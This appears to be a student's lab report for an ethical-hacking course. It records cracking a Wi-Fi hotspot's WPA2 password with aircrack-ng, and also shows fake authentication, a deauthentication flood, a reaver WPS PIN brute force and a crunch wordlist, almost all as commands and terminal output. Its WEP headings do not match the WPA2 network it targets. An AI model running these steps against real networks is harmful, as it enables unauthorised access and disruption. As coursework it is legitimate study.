

Ethical Hacking and Vulnerability Assessment

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Practical 4

OBJECTIVE

- Wireless Network Hacking - II

INTRODUCTION

In this practical we are trying to crack WEP (Wired Equivalent Privacy) wireless network.

- **Task 7: Cracking WEP**
 - Capture packets into a text file
 - Run following commands:

```
$ airodump-ng -bssid 70:BB:E9:1F:82:12 -channel 6 --write task_7-02 wlan0
$ sudo aircrack-ng task_7-02.cap
```

```
0
05:12:25 Created capture file "task_7-02.cap".

CH 6 ][ Elapsed: 36 s ][ 2021-09-09 05:13 ][ WPA handshake: 70:BB:E9:1F:82:12
BSSID          PWR RXQ Beacons  #Data, #/s CH  MB  ENC CIPHER AUTH
70:BB:E9:1F:82:12 -30  0    310    176   7   6  180  WPA2 CCMP PSK
BSSID          STATION          PWR  Rate  Lost  Frames  Notes  Pro
70:BB:E9:1F:82:12 7C:78:7E:2D:E4:84 -19   24e-24e  0    237  EAPOL
Quitting...
```

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```
(kali@kali)-[~/new_data]
$ sudo aircrack-ng task_7-02.cap
Reading packets, please wait...
Opening task_7-02.cap
Read 589 packets.

# BSSID ESSID Encryption
1 70:BB:E9:1F:82:12 Redmi Note 6 Pro WPA (1 handshake)

Choosing first network as target.
Reading packets, please wait...
Opening task_7-02.cap
Read 589 packets.

1 potential targets
Please specify a dictionary (option -w).
```

- **Task 7: Fake Authentication**

```
$ airodump-ng -bssid 70:BB:E9:1F:82:12 -channel 6 -write  
airpreplay wlan0
```

- Perform fake authentication

```
$ aireplay-ng --fakeauth 0 -a 70:BB:E9:1F:82:12 -h  
7C:78:7E:2D:E4:84 wlan0
```

```
(kali@kali)-[~/new_data]
$ sudo airodump-ng --bssid 70:BB:E9:1F:82:12 --channel 6 --write airpreplay  
wlan0
05:25:24 Created capture file "airpreplay-01.cap".

CH 6 ][ Elapsed: 1 min ][ 2021-09-09 05:26 ][ WPA handshake: 70:BB:E9:1F:82:1
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH
70:BB:E9:1F:82:12 -35 58 611 339 7 6 180 WPA2 CCMP PSK
BSSID STATION PWR Rate Lost Frames Notes Pro
70:BB:E9:1F:82:12 7C:78:7E:2D:E4:84 -22 24e-24e 1061 465 EAPOL
Quitting...
```

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```
$ sudo aireplay-ng --fakeauth 0 -a 70:BB:E9:1F:82:12 -h 7C:78:7E:2D:E4:84 wlan0
The interface MAC (34:0A:33:32:69:6E) doesn't match the specified MAC (-h).
ifconfig wlan0 hw ether 7C:78:7E:2D:E4:84
05:26:17 Waiting for beacon frame (BSSID: 70:BB:E9:1F:82:12) on channel 6

05:26:19 Sending Authentication Request (Open System)

05:26:21 Sending Authentication Request (Open System) [ACK]

05:26:23 Sending Authentication Request (Open System) [ACK]

05:26:25 Sending Authentication Request (Open System) [ACK]

05:26:27 Sending Authentication Request (Open System)

05:26:29 Sending Authentication Request (Open System) [ACK]
05:26:29 Authentication successful
05:26:29 Sending Association Request [ACK]
05:26:29 Association successful :- ) (AID: 1)
```

- Perform brute force using dictionary created.
- aircrack-ng can do this
\$ sudo aircrack-ng airpreplay-01.cap -w pass.txt

```
(kali@kali)-[~/new_data]
$ sudo aircrack-ng airpreplay-01.cap -w pass.txt
Reading packets, please wait...
Opening airpreplay-01.cap
Read 1194 packets.

# BSSID          ESSID          Encryption
1 70:BB:E9:1F:82:12 Redmi Note 6 Pro WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening airpreplay-01.cap
Read 1194 packets.

1 potential targets
```

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```
Aircrack-ng 1.6

[00:00:01] 936/1000 keys tested (1296.23 k/s)

Time left: 0 seconds                                93.60%

KEY FOUND! [ chirag123 ]

Master Key      : 00 EC 9F 01 1B CB EF A4 77 FF 6D 9F 56 75 8A BB
                  93 35 4C F1 CE 52 3A 3A 42 E7 33 E7 31 D3 6C 2C

Transient Key   : EC EF A7 D1 C6 6A 28 62 C1 C3 83 A4 1B 0D 74 5F
                  3E BE 2B 6F 3E 75 2B 9B EE 59 C6 4A 8E 6E 6A 68
                  0B 78 48 7D 7A A6 92 FF 85 3A D9 4A 7F D3 6E 2E
                  1C B6 7F 48 8F 48 E2 C4 20 B5 11 93 55 F6 23 5E

EAPOL HMAC     : B2 46 37 AA 1C 44 62 71 A7 BA 96 76 EC 96 0B A3
```

- **Task 8: Cracking WPA/WPA2**

- Run reaver to bruteforce the pin and use it to compute the actual WPA key.

```
$ sudo reaver --bssid 70:BB:E9:1F:82:12 --channel 6 --interface wlan0 -v -A
```

```
$ sudo airodump-ng -i wlan0

CH 11 ][ Elapsed: 6 s ][ 2021-09-09 05:29

BSSID            PWR Beacons  #Data, #/s  CH  MB  ENC CIPHER  AUTH ESSI
70:BB:E9:1F:82:12 -34      32         0    0   6  180  WPA2 CCMP  PSK  Redm

BSSID            STATION        PWR  Rate  Lost  Frames  Notes  Pro
(not associated) D8:9C:67:B7:82:F5 -18   0 - 1   26      8
70:BB:E9:1F:82:12 7C:78:7E:2D:E4:84 -22   0 - 1    1      3
Quitting...
```

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```
$ sudo reaver --bssid 70:BB:E9:1F:82:12 --channel 6 --interface wlan0 -v -A

Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetso
l.com>

[+] Waiting for beacon from 70:BB:E9:1F:82:12
[+] Received beacon from 70:BB:E9:1F:82:12
[+] Vendor: Unknown
[!] AP seems to have WPS turned off
[+] Trying pin "12345670"
[+] Associated with 70:BB:E9:1F:82:12 (ESSID: Redmi Note 6 Pro)
^C
```

- **Task 9: Another technique**

```
$ airodump-ng wlan0
```

```
$ sudo airodump-ng --bssid 70:BB:E9:1F:82:12 --channel 6 --write
task_7-02 wlan0
```

```
$ sudo aireplay-ng -0 0 -a 70:BB:E9:1F:82:12 -c
7C:78:7E:2D:E4:84 wlan0
```

```
05:12:25 Created capture file "task_7-02.cap".
```

```
CH 6 ][ Elapsed: 36 s ][ 2021-09-09 05:13 ][ WPA handshake: 70:BB:E9:1F:82:12

BSSID          PWR RXQ Beacons    #Data, #/s CH  MB  ENC CIPHER AUTH
70:BB:E9:1F:82:12 -30  0      310      176   7   6  180  WPA2 CCMP PSK

BSSID          STATION          PWR  Rate  Lost  Frames  Notes  Pro
70:BB:E9:1F:82:12 7C:78:7E:2D:E4:84 -19  24e-24e  0    237  EAPOL
Quitting...
```

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```
└─$ sudo aireplay-ng -0 0 -a 70:BB:E9:1F:82:12 -c 7C:78:7E:2D:E4:84 wlan0 1 ✖
05:12:29 Waiting for beacon frame (BSSID: 70:BB:E9:1F:82:12) on channel 6
05:12:31 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 0
05:12:31 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 1
ACKs]
05:12:31 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 0
ACKs]
05:12:32 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 0
ACKs]
05:12:32 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 0
ACKs]
05:12:33 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 0
ACKs]
05:12:33 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 0
ACKs]
05:12:34 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 0
ACKs]
05:12:35 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 0
05:12:35 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 1
05:12:35 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 2
ACKs]
05:12:35 Sending 64 directed DeAuth (code 7). STMAC: [7C:78:7E:2D:E4:84] [ 0 | 0
```

- **Task 10: Creating wordlist**

```
$ crunch 9 9 -t chirag%%% -o pass.txt
```

```
└─$ crunch 9 9 -t chirag%%% -o pass.txt
Crunch will now generate the following amount of data: 10000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1000
crunch: 100% completed generating output
```

- **Task 11: WPA/WPA2 Cracking**

```
$ sudo aircrack-ng task_7-02.cap -w pass.txt
```


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```
(kali㉿kali)-[~/new_data]
└─$ sudo aircrack-ng task_7-02.cap -w pass.txt
Reading packets, please wait...
Opening task_7-02.cap
Read 589 packets.

# BSSID          ESSID          Encryption
1 70:BB:E9:1F:82:12 Redmi Note 6 Pro WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening task_7-02.cap
Read 589 packets.

1 potential targets

Aircrack-ng 1.6

[00:00:01] 944/1000 keys tested (1164.69 k/s)

Time left: 0 seconds 94.40%

KEY FOUND! [ chirag123 ]
```

```
KEY FOUND! [ chirag123 ]

Master Key      : C6 99 1D 1F 2B 2A 28 B9 D6 10 07 1E B4 B9 AF AA
                  86 FB F8 0A 09 3E A1 50 FF B2 C2 2B ED A8 A2 AB

Transient Key   : EB 19 BD D6 3A A5 D5 01 B3 9A D2 DA A8 A2 28 E7
                  C9 AE 49 3B E7 E9 A6 17 41 E7 DA C5 E6 09 AE 53
                  E1 13 0D B1 A5 60 E2 DE 15 8D A4 05 BB 64 F2 CC
                  35 EA C8 3A BC F0 05 38 08 37 E2 A6 20 91 D1 7B

EAPOL HMAC     : 25 57 9A 93 0F 2C C6 B1 2A 18 BA 6A F7 2A EF AC
```

- **Task 12: Security Setting**

\$ ip route

```
└─$ ip route
default via 10.0.2.2 dev eth0 proto dhcp metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
```

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CONCLUSION

In this practical we gain knowledge about cracking WEP and WPA/WPA2 over wireless connection. Also generating word list using crunch.